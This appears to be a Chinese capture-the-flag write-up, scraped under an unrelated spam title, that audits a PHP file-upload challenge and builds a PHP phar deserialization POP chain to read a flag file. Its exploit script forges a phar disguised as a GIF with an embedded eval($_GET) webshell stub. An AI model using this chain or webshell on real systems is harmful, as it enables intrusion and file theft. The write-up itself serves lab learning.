当前位置: 首页 > news >正文

外贸网站用什么空间好使用net域名的大网站

外贸网站用什么空间好,使用net域名的大网站,淘宝详情页psd模板免费,可以做微信游戏的网站打开环境 有查看文件跟上传文件#xff0c;查看文件里面显示没有文件url貌似可以文件读取 上传文件里面可以上传文件。 先看一下可不可以文件读取 /etc/passwd不能读取#xff0c;源码提示flag在f1ag.php 看看能不能读取当前的文件#xff0c; 先把代码摘下来 file.php …打开环境 有查看文件跟上传文件查看文件里面显示没有文件url貌似可以文件读取 上传文件里面可以上传文件。 先看一下可不可以文件读取 /etc/passwd不能读取源码提示flag在f1ag.php 看看能不能读取当前的文件 先把代码摘下来 file.php ?php header(content-type:text/html;charsetutf-8); include function.php; include class.php; ini_set(open_basedir,/var/www/html/); $file $_GET[file] ? $_GET[file] : ; if(empty($file)) { echo h2There is no file to show!h2/; } $show new Show(); if(file_exists($file)) { $show-source $file; $show-_show(); } else if (!empty($file)){ die(file doesn\t exists.); } ? upload_file.php ?php include function.php; upload_file(); ? html head meta charestutf-8 title文件上传/title /head body div align center h1前端写得很low,请各位师傅见谅!/h1 /div style p{ margin:0 auto} /style div form actionupload_file.php methodpost enctypemultipart/form-data label forfile文件名:/label input typefile namefile idfilebr input typesubmit namesubmit value提交 /div /script /body /html funcion.php ?php //show_source(__FILE__); include base.php; header(Content-type: text/html;charsetutf-8); error_reporting(0); function upload_file_do() { global $_FILES; $filename md5($_FILES[file][name].$_SERVER[REMOTE_ADDR])..jpg; //mkdir(upload,0777); if(file_exists(upload/ . $filename)) { unlink($filename); } move_uploaded_file($_FILES[file][tmp_name],upload/ . $filename); echo script typetext/javascriptalert(上传成功!);/script; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types array(gif,jpeg,jpg,png); $temp explode(.,$_FILES[file][name]); $extension end($temp); if(empty($extension)) { //echo h4请选择上传的文件: . h4/; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo script typetext/javascriptalert(Invalid file!);/script; return false; } } } ? class.php ?php class C1e4r {public $test;public $str;public function __construct($name){$this-str $name;}public function __destruct(){$this-test $this-str;echo $this-test;} }class Show {public $source;public $str;public function __construct($file){$this-source $file; //$this-source phar://phar.jpgecho $this-source;}public function __toString(){$content $this-str[str]-source;return $content;}public function __set($key,$value){$this-$key $value;}public function _show(){if(preg_match(/http|https|file:|gopher|dict|\.\.|f1ag/i,$this-source)) {die(hacker!);} else {highlight_file($this-source);}}public function __wakeup(){if(preg_match(/http|https|file:|gopher|dict|\.\./i, $this-source)) {echo hacker~;$this-source index.php;}} } class Test {public $file;public $params;public function __construct(){$this-params array();}public function __get($key){return $this-get($key);}public function get($key){if(isset($this-params[$key])) {$value $this-params[$key];} else {$value index.php;}return $this-file_get($value);}public function file_get($value){$text base64_encode(file_get_contents($value));return $text;} } ? 审计一下 由于设置了ini_set(open_basedir,/var/www/html/);  所以只能读取/var/www/html目录 看一下function.php 只能上传后缀为gif.jpeg,jpg,png 好像绕不过去 看一下class.php 有file_get_contents()是不是可以通过构造pop链实现读取f1ag.php呢 这里暗示用phar反序列化 正好file.ph里面有个file_exists()函数可以出发phar反序列化 分析一下链 file_get函数由get触发get由__get触发当指向类中不存在的变量时候可以出发__get魔法函数 看一下参数,$value由params[$key]得到$key由出发__get函数时传入可以控制params和key使得$valuef1ag.php 看一下如何出发__get 在Show里面 如果令str[str]new Test()就会出发Test里面的__get 然后看如何出发_toString C1e4r里面的echo正好可以出发toString 脚本如下 ?php class C1e4r{public $test;public $str; }class Show {public $source;public $str; }class Test {public $file;public $params; }$a new Test(); $a-params[source] /var/www/html/f1ag.php;$b new Show(); $b-str[str]$a;$c new C1e4r(); $c-str $b;unlink(phar.phar); $phar new Phar(phar.phar); //后缀名必须为phar $phar - stopBuffering(); $phar - setStub(GIF89a.?php echo 1;eval($_GET[Smi1e]);?.?php __HALT_COMPILER();?); $phar - setMetadata($c); //将自定义的meta-data存入manifest $phar - addFromString(test.txt,test);//添加要压缩的文件 $phar - stopBuffering(); //签名自动计算 生成的exp.phar改成.jpg结尾之后上传 然后访问filephar://upload/文件名即可拿到flag md,我这里phar.readonly明明改成Off还是生成不了phar文件无语死了。
http://www.yayakq.cn/news/3779/

相关文章:

  • 烟台网站建设专业臻动传媒医院有关页面设计模板
  • 深圳分销网站制作wordpress 手机商城
  • 用路由器做网站推广普通话宣传语
  • 辛集市建设局网站海淀区网站搭建
  • 福州城乡建设发展总公司官方网站免费 成品模板网站
  • 商城版手机网站制作网站建设宣传文案
  • 做网站实时数据用接口win7网站服务器制作软件
  • 沈阳高端网站商城网站数据库表关系设计
  • 学雷锋 做美德少年网站金昌百度seo
  • 网站建设 300元有哪些网络营销公司
  • 建设银行网站图片大全北京网站优化指导
  • 网站建设课本wordpress 中文乱码
  • 可以做彩页的网站快递网站推广怎么做
  • wordpress 自适应主题搜seo
  • 网站建设开发价格怎么算网上做平面设计的网站
  • 网站设计个人定制网络教研系统
  • 网站开发公司运营流程网站开发都有什么端
  • 青岛建个网站多少钱公众平台网站价格
  • 什么软件做网站链接做网站工作室名字
  • 长春建站公众号免费网站建设apk
  • 网站域名申请流程天猫分销平台
  • 怎么看一个网站什么程序做的沧州建设工程信息网
  • 建设工程设计备案网站wordpress字体目录
  • 河北秦皇岛建设局网站wordpress页面立体效果
  • 免费网站优化排名网络营销推广方案案例视频
  • 中国建设教育协会证书查询网站深圳返利网站建设
  • 做电子签章登录哪个网站PHP是做网站最好的
  • 缤纷网站免费做服装方法网站目录
  • 专门做排行的网站南宁高端网站建设公司
  • 哪个网站能把图片拼凑起来做gif的哪个全球购网站做的好处